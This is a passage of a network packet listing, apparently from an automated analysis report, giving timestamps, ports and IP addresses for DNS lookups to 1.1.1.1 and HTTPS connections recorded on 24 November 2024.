Nov 24, 2024 04:24:12.760845900 CET	443	50116	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:13.158144951 CET	443	50117	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:13.159342051 CET	50117	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:13.159342051 CET	50117	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:13.159358025 CET	443	50117	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:13.159373045 CET	443	50117	13.107.246.63	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 04:23:32.449635029 CET	63914	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:32.450084925 CET	49406	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:32.587145090 CET	53	49406	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:32.587270975 CET	53	63914	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:32.602724075 CET	53	54612	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:32.694807053 CET	53	60881	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:35.864058018 CET	49645	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:35.864723921 CET	57541	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:36.001415968 CET	53	49645	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:36.001513004 CET	53	57541	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:36.158639908 CET	53	63099	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:38.180325031 CET	59794	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:38.180589914 CET	57807	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:38.907155991 CET	53	64067	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:40.298392057 CET	51141	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:40.298753977 CET	52311	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:40.299166918 CET	50620	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:40.299341917 CET	49893	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:40.308674097 CET	61619	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:40.308819056 CET	60149	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:40.436682940 CET	53	52311	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:40.437175035 CET	53	50620	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:40.438330889 CET	53	49893	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:40.439778090 CET	53	51141	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:40.446127892 CET	53	60149	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:40.446542025 CET	53	61619	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:41.118644953 CET	62226	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:41.118870020 CET	58746	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:41.255794048 CET	53	62226	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:41.256072044 CET	53	58746	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:42.274245024 CET	65493	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:42.412137032 CET	53	65493	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:42.461013079 CET	60068	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:42.598411083 CET	53	60068	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:43.049185991 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:43.411669970 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.020932913 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.170304060 CET	54614	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:44.170891047 CET	56452	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:44.189156055 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.189167976 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.189301014 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.189311981 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.189868927 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.191140890 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.200565100 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.301906109 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.307728052 CET	53	54614	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:44.316272974 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.318234921 CET	58969	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:44.318423986 CET	55210	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:44.353074074 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.433572054 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.440100908 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.455169916 CET	53	55210	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:44.455195904 CET	53	58969	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:44.457448006 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.458780050 CET	64058	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:44.458834887 CET	55032	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:44.462337971 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.522996902 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.523082972 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.523091078 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.523099899 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.525742054 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.525810003 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.533552885 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.534497976 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.534830093 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.535470963 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.595700026 CET	53	55032	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:44.595765114 CET	53	64058	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:44.634517908 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.635382891 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.641763926 CET	56977	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:44.656582117 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.657833099 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.659543991 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.693126917 CET	57401	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:44.766063929 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.772469044 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.778471947 CET	53	56977	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:44.787036896 CET	51484	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:44.788562059 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.789758921 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.791207075 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.792511940 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.794605970 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.795351028 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.796293020 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.796418905 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.830013990 CET	53	57401	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:44.858043909 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.896181107 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.924068928 CET	53	51484	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:44.925868034 CET	61887	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:45.062712908 CET	53	61887	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:45.759706020 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.759795904 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:46.092706919 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:46.093894958 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:46.095381975 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:46.096045971 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:46.220366001 CET	58769	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.358762026 CET	53	58769	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:46.359529972 CET	58300	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.399446011 CET	61357	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.426893950 CET	62107	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.444963932 CET	55391	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.454238892 CET	59725	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.534143925 CET	62479	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.538501024 CET	53	61357	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:46.539252043 CET	52833	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.563838959 CET	53	62107	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:46.581604958 CET	53	55391	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:46.671983004 CET	53	62479	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:46.680984020 CET	65514	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.686090946 CET	53	58300	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:46.774667025 CET	53	52833	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:46.819345951 CET	53	65514	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:46.820311069 CET	61661	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:46.957837105 CET	53	61661	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:47.126281977 CET	53	58274	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:47.212594032 CET	65518	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.262597084 CET	53	59956	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:47.512867928 CET	65518	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.854134083 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.854803085 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.854902983 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.855561972 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.855647087 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.122296095 CET	65518	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.164171934 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.188740969 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.190150976 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.190783024 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.191093922 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.191498041 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.191962004 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.192843914 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.556869030 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.557038069 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.557050943 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.557070017 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.558260918 CET	65518	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.559643030 CET	65518	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.565390110 CET	65518	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.629410028 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.785080910 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.882479906 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.882488966 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.882493019 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.882558107 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.882889032 CET	65518	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.882977962 CET	65518	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.887947083 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:49.061875105 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.061969995 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.062524080 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.068294048 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.068335056 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.068345070 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.069113970 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.070198059 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.070476055 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.070838928 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.078774929 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.102076054 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.109941006 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.112245083 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.242027998 CET	61809	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:49.269463062 CET	443	65518	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:49.300875902 CET	65518	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:49.510227919 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.510241032 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.510325909 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.510379076 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.513874054 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.513931036 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.514012098 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.704772949 CET	64504	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:49.838191986 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840261936 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840281010 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840343952 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840353966 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840363026 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840466976 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840507984 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840600967 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840611935 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840720892 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.840775013 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.841242075 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.841320038 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.841408014 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.841454983 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.841509104 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.842145920 CET	53	64504	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:49.842160940 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.849113941 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.850544930 CET	53254	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:49.858103991 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.866682053 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.867633104 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.869787931 CET	53	55504	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:49.884757042 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.884777069 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.887439013 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.892396927 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.898312092 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.898534060 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.898631096 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.902026892 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.910315990 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.910497904 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.919442892 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.927504063 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.930335045 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.935898066 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.944494963 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.944910049 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.954541922 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.962184906 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.965065002 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.971154928 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.980014086 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.980211020 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.988075972 CET	53	53254	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:49.988178015 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.993163109 CET	52293	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:49.996710062 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.997072935 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.005852938 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.014671087 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.015291929 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.022393942 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.031275988 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.034193993 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.040287018 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.048470020 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.049160004 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.057087898 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.065848112 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.070904970 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.074771881 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.083132982 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.084400892 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.091916084 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.101627111 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.103358984 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.109421968 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.122174025 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.122358084 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.129996061 CET	53	52293	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:50.164256096 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.173965931 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.174218893 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.182374954 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.190790892 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.199198961 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.199686050 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.209079981 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.210146904 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.216861963 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.225379944 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.225806952 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.233351946 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.241177082 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.241908073 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.249563932 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.256637096 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.256900072 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.263644934 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.271162033 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.272341013 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.277164936 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.284292936 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.285792112 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.290863991 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.304614067 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.304733992 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.310028076 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.316231012 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.322460890 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.326984882 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.327050924 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.327334881 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.328228951 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.334556103 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.336148977 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.340015888 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.346256971 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.346472025 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.352303982 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.357222080 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.357954979 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.363152027 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.368732929 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.368907928 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.374617100 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.379985094 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.380247116 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.385366917 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.391073942 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.391288996 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.396188974 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.401655912 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.403331995 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.408226013 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.415220022 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.415555000 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.417625904 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.422796011 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.426085949 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.427634954 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.433181047 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.433350086 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.438108921 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.443090916 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.443269968 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.448240042 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.453792095 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.456710100 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.458794117 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.463035107 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.465356112 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.469141006 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.473093033 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.480076075 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.483150005 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.489031076 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.493699074 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.497327089 CET	443	57681	142.251.40.163	192.168.2.5
